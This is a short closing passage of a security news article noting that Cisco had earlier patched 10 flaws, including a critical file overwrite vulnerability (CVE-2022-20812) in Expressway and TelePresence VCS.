The updates also arrived less than two weeks after Cisco rolled out patches for 10 security flaws, including an arbitrary critical file overwrite vulnerability in Cisco Expressway Series and Cisco TelePresence Video Communication Server (CVE-2022-20812) that could lead to absolute path traversal attacks.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#csrf